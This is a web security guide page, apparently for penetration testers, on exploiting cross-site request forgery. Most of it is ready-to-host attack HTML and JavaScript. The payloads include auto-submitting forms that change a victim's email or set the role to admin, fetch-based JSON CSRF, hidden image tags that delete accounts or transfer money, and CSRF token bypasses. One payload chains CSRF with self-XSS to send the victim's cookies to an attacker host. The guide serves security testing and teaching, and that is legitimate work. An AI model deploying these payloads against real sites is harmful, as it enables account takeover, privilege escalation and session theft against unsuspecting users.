CSRF Exploitation
CSRF exploitation turns a confirmed lack of request-origin validation into real impact: account takeover, privilege changes, or data modification through the victim's authenticated session. Confirm the vulnerability first through CSRF detection before building payloads. The attacker hosts a crafted HTML page that automatically submits a request when the victim visits it. All payloads below assume the target application uses SameSite=None cookies or that you are exploiting a GET-based action that works under SameSite=Lax. For the related UI-based attack of framing target pages, see clickjacking.
- Auto-submitting forms send POST requests with arbitrary parameters using hidden HTML forms and JavaScript.
- JSON body CSRF uses
fetch()withcredentials: 'include'to forge API requests with JSON payloads. - GET-based CSRF works even with SameSite=Lax through image tags, links, and top-level navigations.
- Token bypass techniques exploit weak validation by removing, emptying, or swapping token values.
- CSRF chained with Self-XSS escalates a low-impact stored XSS into a full attack by forcing the victim to inject the payload themselves.
Auto-Submitting HTML Form
The classic CSRF payload. A hidden form with pre-filled values submits automatically when the victim loads the page. This works for any endpoint that accepts application/x-www-form-urlencoded or multipart/form-data POST requests.
<html>
<body>
<form id="csrf" action="https://TARGET/account/settings" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="role" value="admin">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Host the file on your attacker server. When the victim visits the page, the form submits instantly and the browser includes the victim's session cookie. The page briefly flashes before redirecting to the target, which can alert the victim. To make it less visible, submit the form inside a hidden iframe instead.
<html>
<body>
<iframe name="csrf-frame" style="display:none;"></iframe>
<form id="csrf" action="https://TARGET/account/settings" method="POST" target="csrf-frame">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Serving HTTP on 0.0.0.0 port 8080 ...
Explain command
| -m http.server 8080 | Starts a simple HTTP server on port 8080 to host the CSRF payload. |
JSON Body CSRF
Modern APIs expect JSON request bodies with Content-Type: application/json. HTML forms cannot set this content type natively, which is why JSON APIs are often assumed to be immune to CSRF. However, fetch() with credentials: 'include' can send JSON payloads cross-origin. The catch is that application/json triggers a preflight OPTIONS request. If the server does not handle the preflight (returns 405 or no CORS headers), the browser blocks the request.
<html>
<body>
<script>
fetch('https://TARGET/api/v1/account', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: 'attacker@evil.com', role: 'admin'})
});
</script>
</body>
</html>
If the preflight blocks the request, try sending the JSON body with a content type that does not trigger a preflight. The following types are considered "simple" by the browser and skip preflight: application/x-www-form-urlencoded, multipart/form-data, and text/plain. Some server-side frameworks parse JSON regardless of the Content-Type header.
<html>
<body>
<script>
fetch('https://TARGET/api/v1/account', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'text/plain'},
body: JSON.stringify({email: 'attacker@evil.com', role: 'admin'})
});
</script>
</body>
</html>
Another approach uses a form with enctype="text/plain" to send a body that looks like JSON. The form value is crafted so the resulting body is valid JSON.
<html>
<body>
<form id="csrf" action="https://TARGET/api/v1/account" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
The form encodes the body as {"email":"attacker@evil.com","ignore":"="}, which is valid JSON. The server parses the known fields and ignores the extra ignore key.
Multipart Form Data CSRF
File upload forms use multipart/form-data encoding. This content type does not trigger a preflight request, so cross-origin file upload CSRF works without CORS permission. If the application accepts file uploads without CSRF tokens, an attacker can upload arbitrary files to the victim's account.
<html>
<body>
<form id="csrf" action="https://TARGET/profile/avatar" method="POST" enctype="multipart/form-data" target="csrf-frame">
<input type="hidden" name="username" value="victim">
<input type="hidden" name="bio" value="Hacked via CSRF">
</form>
<iframe name="csrf-frame" style="display:none;"></iframe>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
HTML forms cannot populate a file input field programmatically for security reasons. This limits multipart CSRF to non-file fields in the same form. If the upload endpoint only processes the file field and ignores other parameters, this approach has limited impact. Focus on profile update endpoints that use multipart encoding for combined text and file submissions.
GET-Based CSRF
When state-changing actions use GET requests, CSRF works even with SameSite=Lax cookies. Lax allows cookies on top-level GET navigations from external sites. This makes any GET endpoint that performs actions exploitable through simple HTML tags that trigger GET requests.
<!-- Image tag: fires automatically, invisible -->
<img src="https://TARGET/account/delete?confirm=true" style="display:none;">
<!-- Link: requires victim click -->
<a href="https://TARGET/account/transfer?to=attacker&amount=1000">Click for prize</a>
<!-- Iframe: fires automatically, can be hidden -->
<iframe src="https://TARGET/account/delete?confirm=true" style="display:none;"></iframe>
<!-- Top-level redirect: fires automatically -->
<script>window.location = 'https://TARGET/api/v1/role?set=admin';</script>
The image tag approach is the stealthiest: it fires a GET request in the background without any visible page change. The victim never notices the request. Image tags and iframes trigger the request immediately on page load. Link tags require a click but allow social engineering the victim into triggering the action. Note that image and iframe requests are subresource requests, not top-level navigations. Under SameSite=Lax, only the top-level redirect and link click send cookies. Image and iframe tags do not send Lax cookies.
Chaining CSRF with Self-XSS
Self-XSS is a stored XSS that only fires in the context of the user who injected it (for example, a payload stored in a profile field that only the profile owner sees). On its own, self-XSS has minimal impact because the attacker can only execute JavaScript in their own session. Chaining it with CSRF forces the victim's browser to inject the XSS payload into the victim's own account.
<html>
<body>
<iframe name="csrf-frame" style="display:none;"></iframe>
<form id="csrf" action="https://TARGET/profile/update" method="POST" target="csrf-frame">
<input type="hidden" name="bio" value='<script>document.location="https://ATTACKER/steal?c="+document.cookie</script>'>
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
The CSRF payload sets the victim's bio to an XSS payload. The next time the victim views their own profile page, the stored XSS fires in their session and exfiltrates their cookies. This turns two low-severity findings (self-XSS + CSRF) into a high-severity account compromise chain. The same technique applies to any stored input field that renders for the authoring user: display names, notes, dashboard widgets, and signature fields.
Token Bypass Techniques
When the application includes a CSRF token but validates it poorly, several bypass strategies apply. Test each independently against the target endpoint.
Remove the token parameter entirely. Some frameworks only validate the token when it is present in the request. Omitting the parameter completely skips the check.
Use a token from another session. If tokens are not tied to the user's session, the attacker can use their own valid token in the CSRF payload. Fetch a token from your own session, then embed it in the exploit page.
a1b2c3d4e5f6g7h8i9j0
Swap request method. Some applications enforce CSRF tokens on POST but not on GET (or PUT/PATCH). If the endpoint accepts both methods, switch to one that bypasses the check.
Predictable token patterns. If the token is a simple hash of the session ID or a sequential value, generate a valid token without needing the victim's session. Capture multiple tokens across sessions and look for patterns: timestamp-based values, incrementing counters, or MD5/SHA1 of known values.
SameSite Cookie Attribute
The SameSite cookie attribute controls whether the browser sends a cookie on cross-site requests. It is the browser-level defence against CSRF. Understanding the three values is essential for knowing which CSRF payloads will work against a given target.
SameSite=Strict
The cookie is never sent on any cross-site request , not on form submissions, image tags, navigations, or fetch requests originating from a different site. CSRF against Strict cookies is not possible with a simple cross-site page. The victim must navigate to the target site and then perform the action within that browsing context. Chaining with open redirects or XSS on the target domain is required.
SameSite=Lax
Lax is the default in modern browsers when no SameSite attribute is set. The cookie is sent on top-level navigations using safe HTTP methods (GET, HEAD) but not on subresource requests (images, iframes, fetch with credentials). This means:
- POST form CSRF: cookie not sent. The classic form-based exploit fails.
- GET-based CSRF via top-level navigation: cookie is sent. A link click or
window.locationredirect sends the Lax cookie. - GET via image/iframe: cookie not sent. Subresource requests are blocked.
Many applications that do not explicitly set SameSite are protected against POST CSRF by default browser behaviour, but GET-based state changes remain exploitable.
SameSite=None
The cookie is sent on all cross-site requests regardless of method or context. This is required for third-party cookies (embedded widgets, cross-domain APIs). Applications using SameSite=None rely on CSRF tokens or other application-level checks because the browser provides no protection. All CSRF payloads work when the session cookie is SameSite=None.
Set-Cookie: session=abc123; Path=/; HttpOnly; Secure; SameSite=Lax
Look for SameSite in the Set-Cookie header. Absent means the browser default applies (Lax in Chrome/Firefox, None in older browsers). SameSite=None requires Secure — it must be on HTTPS.
Two-Minute Lax Bypass Window
Chrome applies a two-minute bypass window for SameSite=Lax cookies that were set without an explicit SameSite attribute. During the first two minutes after a cookie is set, Chrome treats it as if it has no SameSite restriction (equivalent to None) to maintain backwards compatibility with older sites. If you can force the victim to re-authenticate (via CSRF logout and then re-login), their fresh session cookie may be exploitable with a full POST CSRF payload during this window.
References
-
CSRF exploitation techniques and token bypass strategies
-
PortSwigger: Bypassing SameSite RestrictionsTOOL: PortSwigger: Bypassing SameSite Restrictions, portswigger.net/web-security/csrf/bypassing-samesite-restrictions (opens in new tab)
SameSite bypass techniques including the two-minute window and GET-based exploitation
-
OWASP: CSRF Prevention Cheat SheetLINK: OWASP: CSRF Prevention Cheat Sheet, cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html (opens in new tab)
OWASP CSRF prevention methods and common implementation flaws
-
MDN: Fetch APIDOCS: MDN: Fetch API, developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch (opens in new tab)
Fetch API credentials and CORS behavior for cross-origin requests